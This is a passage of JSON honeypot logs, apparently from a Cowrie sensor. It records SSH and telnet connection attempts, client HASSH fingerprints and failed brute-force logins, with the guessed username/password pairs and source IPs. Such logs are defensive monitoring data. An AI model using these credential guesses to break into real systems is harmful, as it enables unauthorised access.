cfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:48.695037Z","src_ip":"91.92.40.176","session":"f3aa4d3a032b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@123","message":"login attempt [mysql/mysql@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:48.944202Z","src_ip":"91.92.40.176","session":"f3aa4d3a032b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"110.49.6.37","src_port":39076,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c0516dd333d","protocol":"ssh","message":"New connection: 110.49.6.37:39076 (10.17.0.5:22) [session: 3c0516dd333d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:49.484026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:49.485685Z","src_ip":"110.49.6.37","session":"3c0516dd333d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:49.756333Z","src_ip":"110.49.6.37","session":"3c0516dd333d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:50.026569Z","src_ip":"91.92.40.176","session":"f3aa4d3a032b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2015#","message":"login attempt [root/unitedstates2015#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:50.565464Z","src_ip":"110.49.6.37","session":"3c0516dd333d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:51.837857Z","src_ip":"110.49.6.37","session":"3c0516dd333d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":48492,"dst_ip":"10.17.0.5","dst_port":23,"session":"7267c6bffa55","protocol":"telnet","message":"New connection: 72.167.226.244:48492 (10.17.0.5:23) [session: 7267c6bffa55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:09:16.232362Z"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.187.59","src_port":54108,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8a22e3df639","protocol":"ssh","message":"New connection: 196.188.187.59:54108 (10.17.0.5:22) [session: b8a22e3df639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:09:19.430263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:09:19.433880Z","src_ip":"196.188.187.59","session":"b8a22e3df639","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:09:19.603757Z","src_ip":"196.188.187.59","session":"b8a22e3df639","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2014","message":"login attempt [root/unitedstates2014] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:09:20.111803Z","src_ip":"196.188.187.59","session":"b8a22e3df639","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:09:21.283713Z","src_ip":"196.188.187.59","session":"b8a22e3df639","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":49318,"dst_ip":"10.17.0.5","dst_port":22,"session":"1827578c604f","protocol":"ssh","message":"New connection: 14.55.144.22:49318 (10.17.0.5:22) [session: 1827578c604f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:09:29.342128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:09:29.345033Z","src_ip":"14.55.144.22","session":"1827578c604f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:09:29.556490Z","src_ip":"14.55.144.22","session":"1827578c604f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xsw23edc","message":"login attempt [root/Xsw23edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:09:30.432847Z","src_ip":"14.55.144.22","session":"1827578c604f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:09:31.651846Z","src_ip":"14.55.144.22","session":"1827578c604f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.82846760749817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:09:47.060694Z","src_ip":"72.167.226.244","session":"7267c6bffa55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.192.99.12","src_port":23862,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9666aa8ed65","protocol":"ssh","message":"New connection: 159.192.99.12:23862 (10.17.0.5:22) [session: b9666aa8ed65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:09:49.504897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:09:49.508061Z","src_ip":"159.192.99.12","session":"b9666aa8ed65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:09:49.748078Z","src_ip":"159.192.99.12","session":"b9666aa8ed65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2014!","message":"login attempt [root/unitedstates2014!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:09:50.477337Z","src_ip":"159.192.99.12","session":"b9666aa8ed65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:09:51.719698Z","src_ip":"159.192.99.12","session":"b9666aa8ed65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.5.224","src_port":38736,"dst_ip":"159.203.135.109","dst_port":22,"session":"60e9c1695724","protocol":"ssh","message":"New connection: 162.214.5.224:38736 (159.203.135.109:22) [session: 60e9c1695724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:10:18.363703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:10:18.367896Z","src_ip":"162.214.5.224","session":"60e9c1695724","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:10:18.450177Z","src_ip":"162.214.5.224","session":"60e9c1695724","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bluzelle123","password":"bluzelle123","message":"login attempt [bluzelle123/bluzelle123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:10:18.709174Z","src_ip":"162.214.5.224","session":"60e9c1695724","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:10:19.795346Z","src_ip":"162.214.5.224","session":"60e9c1695724","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.173.74","src_port":41658,"dst_ip":"10.17.0.5","dst_port":22,"session":"04e19da03712","protocol":"ssh","message":"New connection: 50.6.173.74:41658 (10.17.0.5:22) [session: 04e19da03712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:10:21.831785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:10:21.835974Z","src_ip":"50.6.173.74","session":"04e19da03712","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:10:21.862235Z","src_ip":"50.6.173.74","session":"04e19da03712","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"blast","password":"blast321","message":"login attempt [blast/blast321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:10:21.952506Z","src_ip":"50.6.173.74","session":"04e19da03712","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:10:22.981863Z","src_ip":"50.6.173.74","session":"04e19da03712","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":36316,"dst_ip":"159.203.135.109","dst_port":23,"session":"dedb55f1c860","protocol":"telnet","message":"New connection: 137.184.5.188:36316 (159.203.135.109:23) [session: dedb55f1c860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:10:34.972290Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.84.101.167","src_port":36836,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed26eb43230a","protocol":"ssh","message":"New connection: 20.84.101.167:36836 (10.17.0.5:22) [session: ed26eb43230a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:10:49.202198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:10:49.206201Z","src_ip":"20.84.101.167","session":"ed26eb43230a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:10:49.220366Z","src_ip":"20.84.101.167","session":"ed26eb43230a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2014!!!","message":"login attempt [root/unitedstates2014!!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:10:49.264208Z","src_ip":"20.84.101.167","session":"ed26eb43230a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:10:50.281213Z","src_ip":"20.84.101.167","session":"ed26eb43230a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":51460,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b093dd4c186","protocol":"ssh","message":"New connection: 103.27.238.114:51460 (159.203.135.109:22) [session: 2b093dd4c186]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:05.910666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:05.917954Z","src_ip":"103.27.238.114","session":"2b093dd4c186","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:06.188630Z","src_ip":"103.27.238.114","session":"2b093dd4c186","protocol":"ssh"}
